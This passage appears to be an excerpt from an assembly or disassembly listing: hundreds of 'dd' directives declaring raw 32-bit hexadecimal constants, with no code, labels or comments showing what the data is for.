		dd 0E145C78Ah, 37DB0CA4h, 133D287Dh, 4BF622E8h,	35BA209Ah
		dd 0E9D4F2B2h, 14485380h, 1942574Bh, 0F0CB312Ch, 1FF0BEFBh
		dd 4B33F3CDh, 6E81D2B3h, 0C2DAA986h, 0D94495E6h, 25C7A6EBh
		dd 0E272C4ACh, 9A71A9FFh, 2D6E3649h, 0FEE9E362h, 0DE660F0Bh
		dd 0FFD1367Eh, 0EFF6B9DDh, 0D1042F78h, 26DD4D22h, 0F95D6217h
		dd 0CD28AD90h, 0AA44F7CEh, 3176D15Fh, 4265A608h, 6330B1E0h
		dd 0B8F65FBCh, 872FE63Ah, 0E55E59CAh, 33E68798h, 6A16FC35h
		dd 62E686C0h, 3BFCF292h, 0B575425Ah, 1E81B525h,	0CBF8B17Dh
		dd 5BD597BAh, 1A5B828Bh, 0DA3433B9h, 450F36F3h,	608C4224h
		dd 16FFE84Bh, 9F105A31h, 0AFC4A08Bh, 0D1A80DFFh, 734D4C88h
		dd 5A01C904h, 0E386EDCCh, 0A1374BCCh, 0F0FC645Ch, 87DF6BCBh
		dd 0F80557DAh, 61C7F34Ah, 90184BBDh, 0E59E5BA4h, 0AD68F9A3h
		dd 0B32AE6E9h, 57093173h, 622B8F25h, 0F6524D71h, 342ED30Fh
		dd 9F543C6Fh, 40FDCB8Bh, 22689C9Ah, 0DA1D355Dh,	0E93A74B8h
		dd 0B0A6EB04h, 0E3E46130h, 0A4FE3332h, 6198CDC2h, 84883979h
		dd 71CA75A1h, 0B9A2B86Fh, 8EE553C7h, 95CD5883h,	0FFB60ACCh
		dd 6B005913h, 0DB660BAAh, 0BDE7FD5Dh, 26552C2h,	0E4AC980Fh
		dd 0E20B93E3h, 7D0D3A4Eh, 0E779C3EBh, 9FF3C7A9h, 7EB0A26Fh
		dd 23FB1192h, 0E51767BFh, 0A8316676h, 0F5C90A3Ch, 0EC11B55Eh
		dd 47D2F8Bh, 0C4ACD134h, 3D2CD672h, 3A6152A9h, 50DA37C4h
		dd 2B51B307h, 0D25F92C0h, 0E4706AE1h, 0C04220A5h, 0BB176F56h
		dd 0D1B83887h, 733E4F9Eh, 0CA0CC4E3h, 55E53F52h, 374BF6E2h
		dd 500524E7h, 8320E91Dh, 0C99F2F25h, 0ABA988AAh, 51B44925h
		dd 475EE136h, 0E1E83526h, 82ABE267h, 0EBAE9CC6h, 0EE99619Bh
		dd 2925FB44h, 8A0C2A49h, 0BE6D5627h, 0DAAE1825h, 0B9A1E925h
		dd 9682BA54h, 42590594h, 9972AFCDh, 0E66A69E7h,	2D1761F5h
		dd 1CBA0823h, 0CBF5CFC0h, 0A76646F0h, 3700FF51h, 5080BCB4h
		dd 0C2649D6Fh, 0F341DDD1h, 45783A2Ch, 263904F3h, 0D3EAF821h
		dd 73BB4959h, 0A19AC075h, 0B272D7C9h, 886577F1h, 0B1302BB8h
		dd 1128D14Dh, 0DEC4DFDDh, 0F2C7C8BFh, 0DD0EB586h, 0CBC36F0Ch
		dd 3CE81A68h, 801F93EBh, 0E1740A7Bh, 9526E69Ch,	32AB337Ah
		dd 11B7FF03h, 0F14E3700h, 85B9C706h, 0ED009FE9h, 40067374h
		dd 3B783870h, 18718EFEh, 85D5480Dh, 0C294C4C4h,	1FA1F6B7h
		dd 0AFA0291Eh, 0F3ABABA5h, 0C1F95F62h, 0ADB7D11Ah, 0C9704091h
		dd 1C35CFFBh, 7578ECBFh, 6DBCA0BBh, 9248B089h, 0D8BA4A57h
		dd 0E91D6420h, 6E00B67Eh, 0A63F34F4h, 3195698h,	586EEA0h
		dd 0D764C12Eh, 0E4A977C0h, 0C057F00h, 892165E2h, 1C742C6Ah
		dd 0DB3652EEh, 6E18C986h, 0C67E5A74h, 8909C996h, 5E28FB59h
		dd 58867447h, 0F8E7F850h, 9C75B7D9h, 0DD1CE381h, 42FBDCF8h
		dd 65F41A1Fh, 4C3359B9h, 54A5E694h, 9C7C42FEh, 1D6C267h
		dd 0D4E42578h, 1C58D0DAh, 0C079F824h, 0F26C01FBh, 7F1CFD3Ch
		dd 4C1CA7DFh, 7CB337A5h, 0EAD87EBAh, 0E9A1B38Ch, 13E66072h
		dd 78F080F0h, 0FB4B70Eh, 81D84AE1h, 418A080h, 4E07D07Ah
		dd 0EFEDD110h, 5BEB8234h, 1457E141h, 0B10A9C6Eh, 0E8AEA65Fh
		dd 0F1F56E5Eh, 9E503707h, 0E7C9E698h, 0E27A400Ch, 0AF3E84FEh
		dd 0CC83BC2Ah, 140AEABCh, 5CA7CDFBh, 50C24336h,	0A67532B4h
		dd 47FA6587h, 3C5E6070h, 44FDE1Fh, 99CEDAh, 8F2CB577h
		dd 0D8822996h, 0ABCDA7A9h, 4F4BE43Bh, 6188D975h, 427FEF11h
		dd 0E5E103DBh, 83D4FAB8h, 684178B1h, 0FD3C2F4Eh, 0E1BEC0F1h
		dd 32AEE2DAh, 0F1EDCB27h, 713076AEh, 0ED4E4386h, 9AE16534h
		dd 0ADE1D280h, 6F847A20h, 0B9E68A49h, 256CDD1Dh, 0AC7E2160h
		dd 0E525BF4Bh, 0EB6A8247h, 37153DEh, 45E9680Ah,	7D5DEDF0h
		dd 0FA5C94F4h, 5CF4ABA3h, 0EE83A9DEh, 335840h, 7D35D47h
		dd 8BFECF61h, 0CA353CFDh, 0E722B8EEh, 0B55CD212h, 78A5D683h
		dd 329604E0h, 5D2D3DD0h, 0BB096C2Dh, 74AA47F2h,	344ACD44h
		dd 0B3433359h, 67F0F31Fh, 643AE8CFh, 92C432BFh,	0D89A6467h
		dd 0D4E3DB05h, 0B43B3D0Dh, 0F10A0AF4h, 3BDCB58Eh, 0D62A1CF2h
		dd 0EAB14B7Fh, 52444796h, 0E6FDB479h, 0B790FF06h, 6028E226h
		dd 9321B83Dh, 7F3CA90Eh, 8F8C8171h, 75392E07h, 0DE1BD2AEh
		dd 9EEA0EF4h, 9771E191h, 6E3D2689h, 7F5F1343h, 20C0D764h
		dd 2288199Dh, 4A9959B6h, 52906AB3h, 0B0AC76DBh,	0E8BEFC08h
		dd 1AD20770h, 4094C36Ch, 687AC99Dh, 0B6D300BDh,	85CE7B7Fh
		dd 8612C8FBh, 0CF53E4FEh, 56284A5Bh, 0D50F8F71h, 0AA1AA7BAh
		dd 73CC7D7Eh, 9A7DCAB7h, 0BBE73713h, 7857B209h,	2B9DC129h
		dd 0E6EB6BC1h, 818A52CDh, 3BDED17Fh, 11E603AFh,	0B5C80788h
		dd 0D11D8EBAh, 0FD7816C8h
		dd 297C9F1Dh, 65B9E479h, 0D222952h, 0FAFF76Eh, 0FF79D5A5h
		dd 0B9589ADAh, 2B0CBDAh, 0DF03EDC8h, 0EEF9AA4h,	0E5BC219Bh
		dd 72AAA9C7h, 0F912129Eh, 132D4D82h, 0B67D7946h, 2A5194D8h
		dd 0DC758DE6h, 95B7A1C4h, 7AE3F47Dh, 112D149Ah,	305F0574h
		dd 6F93379Ch, 7FB38917h, 0DF46A3A6h, 1022F5C5h,	55E3FC75h
		dd 416BE5E8h, 79F566B6h, 6BD4BCFFh, 81FBFCAEh, 6AA1C675h
		dd 69C8D52Ch, 8B666000h, 1DA3F7C4h, 2D01B79Dh, 6DD3A0Dh
		dd 7445CEAFh, 958CAD64h, 3CD0650Ch, 0B0E74D99h,	9DE490FFh
		dd 88A891CBh, 0F2D0078Ah, 0B3716E11h, 888B7F37h, 2B0DDA0Dh
		dd 9B670F7Bh, 2E1D3067h, 0DAE5C967h, 5490A4CAh,	3A42F12Bh
		dd 0A3B992FEh, 84BC90DBh, 0F73281E2h, 4C7E2978h, 85CD7BC0h
		dd 534E337Fh, 9E8DDB68h, 249E3F98h, 7BCC1DD6h, 0A550CE28h
		dd 6210AFAEh, 0FF8E40EFh, 0BCBB0847h, 0A0729F39h, 0D466E50Ch
		dd 0DD2B6898h, 60D52A0Ah, 39993C2Fh, 1516D0BFh,	9D691F65h
		dd 807C17DBh, 1C0461A4h, 7A3B2426h, 0BC3C68E0h,	0F2C18D02h
		dd 0F24BEEEBh, 8BD842Bh, 69F8A04Bh, 0F5ACDE34h,	829F696Eh
		dd 6763655Fh, 0CDF88D8Bh, 9DE524CBh, 6440C337h,	7AF4A266h
		dd 44C5D9B8h, 61E2B12Fh, 820C2D7h, 0B5D4DB19h, 0C43A7A0Bh
		dd 506BA2D8h, 0D5028037h, 0C3431B75h, 0F9BF471Ch, 84058C5Eh
		dd 631A7BE9h, 0ED4B91D6h, 1226AEA0h, 90C7ADD4h,	97741A7Eh
		dd 0B4AD6445h, 0E4741696h, 0A1E88C60h, 7AB2F904h, 0AD44D3A3h
		dd 5456C720h, 0FDD7BB48h, 4E8692EEh, 0BB5AA87Dh, 49CA14D3h
		dd 0C7530537h, 0FFE97C8Dh, 0B235BD5Fh, 0C75DB0FBh, 34821519h
		dd 0EF78480Ah, 0F2305F02h, 418414E3h, 3F3A9E83h, 0F137715h
		dd 94BC02E8h, 0E6935DBFh, 9471EE4Dh, 74A691F9h,	115F13B5h
		dd 7D05BDE2h, 0C1FFB84Ch, 933F3CE2h, 4FFDC52h, 0FDAFBF7h
		dd 0F7AADD07h, 1AFE13B5h, 8A5665E6h, 496E2F22h,	659FB7BBh
		dd 3FF58C2Dh, 639ECE7Fh, 57CD138Dh, 7454C5F1h, 5A692263h
		dd 4E01D5D6h, 101A5EA0h, 0AE67B1D8h, 0A40FBAE2h, 89CE7254h
		dd 0EF006914h, 8F625FDDh, 2BF966D9h, 5E0BAAE6h,	2407E616h
		dd 270651Ch, 0F772B42h,	70E2C3C3h, 7AD95648h, 0AE43CF1Fh
		dd 36D019C9h, 734A57B7h, 248841FEh, 4D9AADCAh, 3B32851Dh
		dd 79862484h, 0FD919DB2h, 8B2248Ch, 78C01309h, 0E8720286h
		dd 0F45A425Ah, 6BF0B4E1h, 0F3346C6Ch, 3D2C9F09h, 0B21D8D3Ch
		dd 1B0EBBB9h, 2C5E5BD2h, 76F1AFB6h, 49A87BA6h, 0A9519F7Ch
		dd 43870FF5h, 8E29E6D6h, 50321BEEh, 1135B8B9h, 13263832h
		dd 9C0ACFF6h, 0A5A66FE5h, 80908975h, 0C9E2A098h, 227E3718h
		dd 0E0D87655h, 58DA84DEh, 0CF3403Eh, 0EE5AC108h, 0AA5C6EA1h
		dd 0EC289ECCh, 358578A9h, 3398FD0Ch, 59C6DA54h,	0E8E13028h
		dd 0A94189ACh, 0D69A24C2h, 4202DF09h, 8E419FCCh, 0F1234BEFh
		dd 4F0E5B9Eh, 7245DDE2h, 10AAA0Bh, 0D15B5958h, 0C78F894Bh
		dd 23A487F1h, 2CA1AEC2h, 22B4035Eh, 0D6952C9Dh,	10F455D5h
		dd 0BE968A34h, 5D1B9400h, 0F3E1752Ch, 1DD567FFh, 8C5638AFh
		dd 0FD6EDD7Eh, 526BF8E4h, 108DAEECh, 88AA8BE6h,	0A2BB8983h
		dd 0B5BAD90h, 8F57294Bh, 42AE1A28h, 21851C77h, 0A1FAF24Dh
		dd 3C926E05h, 0E75E8ACCh, 5B642E0Dh, 66409842h,	64525298h
		dd 42B7370Ch, 0E1245B0Eh, 42D856D5h, 406FEBABh,	60A34CB1h
		dd 0E3C63421h, 9DADE91Ah, 0F9F2CD07h, 8FD80282h, 202F5267h
		dd 68E4D093h, 4E48885Ah, 76149C8Dh, 0DADEB066h,	9C05DB83h
		dd 0B030479Ah, 873E847Bh, 9825A7F3h, 0B7401963h, 5B1AD440h
		dd 0EF7F0F49h, 82437265h, 233F414Bh, 6796C072h,	2C66B78Ch
		dd 0B1464D0Fh, 0B2B3EDD7h, 41528FDFh, 9BA79357h, 8E2C1542h
		dd 3E461426h, 638D9303h, 302E46E9h, 0C018CDDEh,	3B333D92h
		dd 0AC99FA1Fh, 0C25E27F9h, 0AFC01A83h, 417FEAC1h, 0DD7AD713h
		dd 1DAFAEC4h, 1B9EE22Fh, 35DAC2B3h, 471BE4FEh, 0A2EEF656h
		dd 0FEE147F6h, 1347159Eh, 0E7F99F43h, 31B8197Bh, 3B0659E9h
		dd 0F41E83Eh, 0D68742E5h, 21FA1789h, 73EB988Dh,	0E4AC7A9Dh
		dd 9DDA08EEh, 9CB2023Ch, 0AC6E5ECAh, 91C67E69h,	723FA495h
		dd 519F86F2h, 8442D787h, 5C6771ADh, 51BB7A29h, 0EA99F80Fh
		dd 2F7DB2AEh, 2A886E40h, 0B4AD7B28h, 0ED6E196Ah, 0EB0EE1FEh
		dd 94CECB19h, 0B8F86DDBh, 704211BFh, 1664B839h,	0F16E48A4h
		dd 3F0CA479h, 6783A96Dh, 0F9D5338Eh, 8319FAADh,	0C87D9A34h
		dd 6E387887h, 0F337E0FBh, 533F82ABh, 0CC6F7896h, 42F627C4h
		dd 0A55262A1h, 64987FEBh, 0CBD5916Dh, 0B5E90884h, 94D4BC48h
		dd 0B3DF2F2Eh, 0A406D280h, 3D3AF35Bh, 72DAAE84h, 39C3242h
		dd 0B6AA5B63h, 2E8BE0D7h, 9B9E11EDh, 0ECB88AD8h, 0E148731Fh
		dd 21F84C49h, 0F3E3D339h, 503D225Ch, 4B439978h,	0A75C7C13h
		dd 0F5682D35h, 6898EF71h, 7EF8D280h, 833B694Dh,	0D07EEA4Ah
		dd 0B7F25E6Ah, 174D2A36h, 0ED496AEDh, 20DD7F70h, 78CBB49Ch
		dd 844B6B6Eh, 0E7C3CB81h, 0CF171310h, 536F34BBh, 0CE485CA2h
		dd 0F2136FEDh, 96341F6Fh, 0D716FF8Ah, 0EFA40735h, 351DE1Ah
		dd 44947A36h, 0E1E4C39Eh, 0C4057221h, 0D262B81Ch, 34BA1A80h
		dd 7DF62A44h, 955DA404h, 1125D821h, 0A442867h, 38BB5212h
		dd 579670A2h, 9EE5D518h, 1E82B9F0h, 0FCBA838Ah,	0ECF569FFh
		dd 0D6E9D02h, 450AF53Fh, 930A7E67h, 0FFD6D698h,	0E7154A23h
		dd 19E71D75h, 0D9CE5E29h, 8962F339h, 2BC58464h,	6E4F8AAh
		dd 0E55D08FCh, 15B1DF92h, 1EA0BBF9h, 0D626F255h, 0F6858F76h
		dd 0C6DE1670h, 3034B4FCh, 80D98D23h, 0C325D0D8h, 1FE59F32h
		dd 0E85064B5h, 41B25C99h, 0A31F3916h, 0C782A61h, 0D2612803h
		dd 0A2ADBF8Ah, 40C9987Fh, 5E2DDEDDh, 0FD9B080Ah, 1DE9EF2Eh
		dd 0AB150762h, 638C29A4h, 82CCBDE9h, 2C87FB8Ch,	35B25873h
		dd 72837E9Bh, 0C61A0C44h, 37BD5956h, 0FC2D93Eh,	8A23E17Bh
		dd 0D585BE13h, 5E5F4336h, 8630A7A2h, 490F6A36h,	0EFF6DC50h
		dd 0B903507h, 522DBF44h, 0DCBB803Ch, 694C5AA0h,	820C0FE7h
		dd 2D9578E5h, 373ABE51h, 0B8E8BFE0h, 0BDE811BBh, 0D5EE072Bh
		dd 76C87A8Fh, 904B1736h, 25E20078h, 145D324Ch, 1F6B9F52h
		dd 9D261D48h, 0E4A59EEAh, 2A99B87Fh, 0EE079258h, 632CAC39h
		dd 339F84C3h, 40AA38D0h, 5F9BD8ECh, 0A1DCC514h,	6ADCF728h
		dd 0B5261BDFh, 2CA5A284h, 3BBC5942h, 23A9CAEEh,	3D119230h
		dd 15526B2Dh, 74EADA43h, 6F295B26h, 0CEF9990Eh,	0D7F1EBE3h
		dd 0A7173BE6h, 10726978h, 387490Eh, 0AA613BFFh,	72962DF6h
		dd 6628A87Ah, 922D7F9h,	1709683Dh, 566402C7h, 0B28CB588h
		dd 7D7E89ACh, 8B3D46A7h, 909F2D00h, 771157D6h, 0F9B6226Dh
		dd 0E044FC8h, 3766D214h, 0B742E7CFh, 0FEB80588h, 4B19F005h
		dd 0C8AD0A91h, 83BD11CCh, 0CC716E5h, 0DEFD9EEEh, 0D8CEBD6Dh
		dd 6A8C645h, 0F1372AB8h, 34CDFB88h, 0FA4CEC11h,	33488DA3h
		dd 2A1C9D84h, 1FCA71C7h, 48AFDFBFh, 35F3181Bh, 23B1B434h
		dd 58A718A5h, 3D1968B3h, 6AF6DA5Ch, 729CB136h, 9908697Eh
		dd 4B62CB3Eh, 6C2067B4h, 2A835938h, 77BA0928h, 4BA74D1h
		dd 9FB300BEh, 683130Ah,	9B3E11E5h, 4989CAACh, 0FF320FC1h
		dd 0FB66360Dh, 0F46CFD39h, 0A5B912CEh, 1757A2A5h, 0F6E3B1D7h
		dd 0D118F6D3h, 7A63388Ah, 0FDB949F6h, 0E7969EDBh, 0EC7499EEh
		dd 2C15A4DEh, 27E117BAh
		dd 0CFC37CF4h, 0DA73B4BEh, 880F019Bh, 0E3255E04h, 1EB5FFFCh
		dd 0C9BD4321h, 0B52801D2h, 294AD870h, 0D4972263h, 0A33FD5ADh
		dd 12626992h, 2A93FB99h, 823A4D81h, 1CA83F90h, 98F0A755h
		dd 3863A4E2h, 8E56EFDFh, 4D9BBF0Eh, 0F5AC7977h,	614423C5h
		dd 97983567h, 0CBA2A893h, 0A116478Ch, 65C1FC7Ch, 0F17DA4Fh
		dd 0BCBD8CB2h, 0DF6D88C0h, 2C9B7ABCh, 0DBC2726Ah, 0D96B1F64h
		dd 0F7D8FA0Ch, 0A799EB74h, 0B892BEEAh, 595E6393h, 3E25DF22h
		dd 47866D50h, 0C80A02A8h, 94A1C24Eh, 7983064Eh,	594C27D9h
		dd 0D16ED9A1h, 189CA6C4h, 0C90C33C3h, 0C0086B52h, 9C4B4674h
		dd 92640BECh, 0A92CF405h, 0F4890879h, 0A5BD6A8Dh, 746331E3h
		dd 99CC5F29h, 746E1424h, 0F53E912Ah, 0DDE51A44h, 0DB5BC478h
		dd 1D025B76h, 0B520165Fh, 915D0A5Fh, 66AB31D6h,	5586F6D2h
		dd 9DCFC6B5h, 4FB72D94h, 6E63E8D3h, 0F5DAA73Ah,	6298787Dh
		dd 0C44D70B8h, 4E5EC531h, 5319C8A8h, 0CE3AEF3Eh, 2E6CA9A2h
		dd 5E934C9Dh, 0F2FA221Ch, 0E2A2CB0Ah, 0CABBB658h, 1EC3295Bh
		dd 6F407EE3h, 10D54F3Dh, 19F1D5F2h, 133B552Dh, 1DA8F582h
		dd 0F2D097C5h, 3F1C189h, 3CC70514h, 0E972583Bh,	4EAA9DC6h
		dd 10C487DCh, 516E7DE6h, 28529C9Ch, 0BB7073D0h,	9CDED466h
		dd 0DDEEB44h, 6480B448h, 0AA7A540Ah, 418FD588h,	232B009h
		dd 97C3902Fh, 7C0869E1h, 29C63715h, 38CA8251h, 45DA2C60h
		dd 0A245014h, 27555CF2h, 97741296h, 8659E6E1h, 0E7000527h
		dd 0EB18F17Eh, 0E42EE6F7h, 40C560ABh, 0A73B9F55h, 64417E8h
		dd 21AC7B91h, 0DA9C6F1h, 33B317E0h, 4ED2E2BDh, 0FEB10E4Ch
		dd 0EFFD176Eh, 929FC51Ch, 9C659444h, 4ED08993h,	1ACC4534h
		dd 0B2F16B8Ah, 8D38F38Ah, 0D1060D89h, 344F71F7h, 4506604Ah
		dd 5F9FE4E1h, 68C5161Dh, 0D3A65B3Ch, 0B1FF5D76h, 8720180h
		dd 0D77CA96Bh, 0B55E7096h, 9A915494h, 0E697D043h, 74FC8E0Ah
		dd 4289B097h, 0DFABEB75h, 0C3E0C67Ah, 5FDAA2F8h, 453322D8h
		dd 6DEBD0D9h, 6BF9CBCDh, 0FE8281F2h, 2F34E155h,	619CA102h
		dd 0DEACE86Ch, 405396C4h, 76AC8D97h, 23759C58h,	0E0698345h
		dd 31A6A6B2h, 56EAE68Bh, 7C3AE8FBh, 3DC523E7h, 67F9AB42h
		dd 3529405Fh, 8A8FFA4Bh, 0CED13541h, 529FA66Eh,	0E44DE5D0h
		dd 0C507C28Fh, 400EA11Bh, 7221B2FDh, 9B973DDBh,	0CE586223h
		dd 0D95C4564h, 2D62C28Fh, 673FBDDCh, 0A9A68012h, 4EC1A21Ah
		dd 138C9B86h, 2F9117E0h, 71885E73h, 19B5DCDFh, 9CB12203h
		dd 76A7C93Fh, 6D513C3Fh, 61E0CF03h, 3EF487F5h, 6EADF010h
		dd 0BAE90546h, 71F3DEF4h, 0CA0E365h, 0C569DF74h, 2CCBFE94h
		dd 55FEDC6Dh, 4750AD64h, 66703FF5h, 0F055CAA1h,	0DE4210D3h
		dd 4513C55Fh, 264C9913h, 0C91F40Fh, 1B144B9Fh, 0EC4037C4h
		dd 6E3A8962h, 7DAFD952h, 348906CFh, 0ADBBED7Fh,	909E2440h
		dd 0D951289Eh, 7B9F8B75h, 892D6064h, 63C38F44h,	0DC895786h
		dd 12A9308Fh, 0E023114Bh, 686503E0h, 6E46BCF3h,	0EE7C53D8h
		dd 0BBA26E6Eh, 1BC45902h, 64CC6E63h, 4D53D28Ah,	0F4300E7h
		dd 0C8E21EA4h, 8C24B3EDh, 0FEEE275Ah, 0CA611660h, 0C548AB83h
		dd 30AA1D3Ch, 318E8B62h, 3A458482h, 0C3CB8EB9h,	460C1996h
		dd 0A758C2F9h, 0D5EC3F8Ch, 4E4A9EDEh, 8D63AA10h, 3875CD75h
		dd 7C7D2C5Ch, 13F60EF5h, 4004CADEh, 0FCEA4709h,	6FD4D5A5h
		dd 13A42B6h, 0EAC171FAh, 0EE3C0DB2h, 764FDA1Bh,	6D8EDFC7h
		dd 5F645401h, 0F4FB141Fh, 0B8748D49h, 0DA1BCE78h, 0E5F20ED3h
		dd 0F5F2C8C7h, 0C9DA47C5h, 5B50B3D6h, 77BBCEA7h, 0A5D986AEh
		dd 430A88CCh, 1DC2EA63h, 0AACB7781h, 5FF73504h,	393718B6h
		dd 0C82C6AA1h, 1067D8F3h, 5074A6C8h, 0E62C7D05h, 0C91CA0Fh
		dd 0F596EC10h, 5FA071CFh, 20C17FEBh, 0F4F9FBFh,	523A4346h
		dd 85BE0BD1h, 31AE253Ah, 3AE9CDA7h, 2A6EA599h, 27350B3h
		dd 0C14C0ACBh, 8A18BEA1h, 59198DE9h, 3AADE5A4h,	0D8BBDDB1h
		dd 0DF1ABF20h, 44A1B2B7h, 0ABFC09EAh, 5A240116h, 0AC3FB805h
		dd 198096B0h, 1991177Ch, 8B008A55h, 403B3FFEh, 0D933B81Fh
		dd 0A9956ABAh, 6F41AFEDh, 6FA069A3h, 805C07EDh,	0F3D8DD34h
		dd 7ED7464Ah, 51CFADF5h, 0CE2F71CDh, 9FFF9FDBh,	763403ACh
		dd 0DBA3A963h, 9790D2B7h, 8E8E5A86h, 95494361h,	0B2A83F46h
		dd 2C37D105h, 3B7CF05Ch, 5F2CDE12h, 2EBDB703h, 4C840AC0h
		dd 0E5B71A70h, 239EF203h, 74726BF8h, 10D9122Bh,	231D3C39h
		dd 917B24D2h, 0D74C4447h, 437EAA26h, 4C7A09BBh,	0C041ACF9h
		dd 51F24AEBh, 1CDD01F7h, 0CE192D9Eh, 2DD448F5h,	3E3F6442h
		dd 4B8B6D3h, 80BB5A1Ch,	0B2D7AA04h, 0F264763Bh,	4AD2438h
		dd 0A74F47Dh, 0A7FB62AFh, 0A039AA61h, 0C2223CAFh, 739059FFh
		dd 1FA7CF4Eh, 1F734A32h, 0F2D56351h, 0FBC8C4DDh, 9CAEB1CBh
		dd 98BE5F7Ch, 0E04312EDh, 26370DAh, 0A72B2808h,	0C663D80h
		dd 7E92A4Ch, 86FDC0AEh,	44A57F38h, 0ECC1F36Bh, 817921B9h
		dd 4DB70FAAh, 0BA1EDCC7h, 2FA22ACh, 0EF388D92h,	0F7702295h
		dd 0C0154836h, 60EA40ADh, 1AF97C33h, 0EA3F0643h, 0BFCDD187h
		dd 0BEEFE970h, 6EEFDE26h, 28216706h, 713A40A7h,	386961B9h
		dd 722532F9h, 0FA89585Fh, 0ECF14A63h, 0C96B82B0h, 640FAD7Eh
		dd 1B7B0CACh, 0BCC0E70Eh, 5F08491Dh, 9A5CC20Fh,	0D50911E8h
		dd 91941F2Ah, 2724FC0Dh, 0A35C4868h, 2BF4DD75h,	0FBB8E3Bh
		dd 4A04D8A4h, 1FDF44FAh, 0D2232E88h, 0E7544A0Fh, 56B1B47h
		dd 0BB5852E6h, 59233D27h, 0AB358EF5h, 60DBA70Bh, 0B95CBC0Ch
		dd 11DCB41Dh, 50678001h, 2093DA94h, 90D75DB3h, 5843EFCDh
		dd 0D747D980h, 87D40F13h, 19EEB146h, 42C6223Bh,	0E9AAE041h
		dd 0F3899A9Eh, 0A0D2BF05h, 6AE1996h, 0B3AC8078h, 0C76B5066h
		dd 7E4F5289h, 80FDE514h, 41915819h, 9D75BE74h, 74551B69h
		dd 79E2ED80h, 0FCA690EEh, 0ECDF6C78h, 0D874F21Dh, 3D0BB364h
		dd 56C46F82h, 79AB56C7h, 88B46D56h, 638D2521h, 56639CE9h
		dd 372EB7BEh, 0A2819ADBh, 0B6FDAD2Fh, 0EFD6AD84h, 94DC2067h
		dd 83472FAAh, 6D970CB1h, 0E902355Dh, 0CA89F96Eh, 0BC4E4FD4h
		dd 0AF0F809Dh, 9EB79EF7h, 0CDB4EBA6h, 5D7DEA3Fh, 19B78E8Ch
		dd 7983AED4h, 915A8C46h, 805D8329h, 12286F17h, 3FB85C94h
		dd 0EDAC29CDh, 0C7EA4E00h, 0A247B163h, 89F9A1F8h, 54A71889h
		dd 0C3F9E36Ch, 0E85193EFh, 4E6B761Ch, 0F6167A1Dh, 0C9B767Dh
		dd 2D2864CBh, 87831E0Bh, 91FFECCh, 2016AE05h, 83A635C9h
		dd 3D58720Dh, 0DE32FCF9h, 7E8A019Ch, 0A2AC9D91h, 94C0BAC9h
		dd 82560080h, 1FE2136Fh, 0DF0F0587h, 1B575EC5h,	3A716A25h
		dd 43FD6122h, 512CEB63h, 610D4A8Fh, 0E14D3C15h,	0F5FBBB55h
		dd 159AA845h, 4A138D13h, 61538107h, 938B45D2h, 0AD2C4A1Ah
		dd 986768E2h, 60EF4051h, 81BD5291h, 0AECC690h, 0DB46AC3Eh
		dd 3762EEFEh, 0F8A744E2h, 0AB9FD8C8h, 0A04ADC2Fh, 74D9B59Ah
		dd 56EA9DDAh, 8104B2A4h, 15D9778Eh, 48DB5CABh, 9AE3074Fh
		dd 0E0A4DAFh, 0F11D498Ah, 9A336DBFh, 8639B2CBh,	49E56A50h
		dd 0DAB63966h, 6D78879h, 9D55047Dh, 0D7B8A0E1h,	70E3C928h
		dd 6D02890Ah, 0D4C852FDh, 0F4D11A75h, 4F8BC13Fh, 65AC9983h
		dd 0BE2A0468h, 0E0ED179Eh, 0FB36951Ah, 44633A71h, 66F6A4D3h
		dd 54D5594Eh, 81B4DF04h, 7D588A7Bh, 0A937D5EBh,	0C4B08DDh
		dd 2E3BA180h, 13B41654h
		dd 1148AFAEh, 59AF055h,	0D5B19EC6h, 9EB9B857h, 1ACF416Bh
		dd 83FD9734h, 833822AAh, 0CA0D4158h, 319BB126h,	0A66A36B5h
		dd 0B59EE9DBh, 32A29B03h, 5D6F2510h, 0D8FAC523h, 0C41DC590h
		dd 9D3AC077h, 7C4333C8h, 8699F813h, 8A5D6212h, 0A11C1488h
		dd 57231F1Fh, 941D49D9h, 3CB6E71Ch, 4F88C88Bh, 0CB3F118Ah
		dd 8EE444AEh, 580D308Eh, 0D8B6F232h, 80DBA474h,	0AFC56BDAh
		dd 0DEBFE064h, 99E42AB2h, 681FF742h, 9BE5F6A1h,	707BCA15h
		dd 0C154AC81h, 0AE0E2859h, 97FE4904h, 0F0C78012h, 68230B5h
		dd 0CF5525F3h, 54908E19h, 47D876BCh, 434C3F9h, 62594980h
		dd 389FD981h, 8AFA8AC5h, 9BB51BDBh, 7A8D2ED8h, 1ED67945h
		dd 1AB437F1h, 2F240D66h, 76B102DEh, 0BBBA7305h,	0D4B9BD89h
		dd 0EF8976BAh, 3AF9D222h, 0FC1E5087h, 393098F1h, 4484F4D5h
		dd 9AA29D1h, 978B3BD9h,	3ECF11A7h, 1929FF40h, 0A6A47974h
		dd 8C79E856h, 5A1699CAh, 0B81463E4h, 1848A41Bh,	0BD2F6ACBh
		dd 0B44C97B8h, 9D4CE9D7h, 4FADC4E0h, 0AA117D8Fh, 8CADE925h
		dd 92CE29DFh, 0A119B5A8h, 0FC5E64E7h, 6DA260DCh, 0EFD66FBCh
		dd 0D8E1622Ah, 0C6B6338Ch, 12C28536h, 9EC2CB82h, 43F27171h
		dd 3E8CEA57h, 7ADAADCDh, 0DBE6531Fh, 0B1BE9168h, 2F131A8Ah
		dd 0B87D01BFh, 74EE394Dh, 0AD85E76h, 7D7E4995h,	0ADA1F623h
		dd 8587986Bh, 7142F2BEh, 8304C495h, 4EC2D07Bh, 0BEF0C198h
		dd 41812668h, 0D153F751h, 4BDDFF28h, 177DEC7Bh,	73FC11C8h
		dd 0D55297CAh, 2241B3BAh, 7DB80C43h, 0B5F3911Ch, 0C037F195h
		dd 0A5A40C6Bh, 9F299B97h, 0A6A791h, 5506F452h, 0FA94A944h
		dd 6B3D73C5h, 4DC7352Ch, 6239472Fh, 4B938F52h, 0C8EFA4CBh
		dd 119B64A5h, 0B48E8916h, 0A415F7E1h, 1E0AB1B7h, 0D49F66F2h
		dd 6AA0A6FAh, 202CADCh,	95976Bh, 5F3A83Fh, 0D6051AFCh
		dd 0D1F6E9BCh, 0B344020Eh, 20E29634h, 11FE655Eh, 37F45036h
		dd 34CA05F1h, 8F2E0A1Eh, 0A8FCF088h, 63E342B7h,	0C72DB909h
		dd 3AEDC813h, 6CA677A2h, 8673A1C7h, 1FF4F95Ch, 2743FBD7h
		dd 0A35807C8h, 0B3B4C0B9h, 393D9045h, 0AFC7B2FDh, 9356BF9Fh
		dd 0BBAF54B9h, 265A6F4h, 1022C1C9h, 0D5F9A74Fh,	0F87483FFh
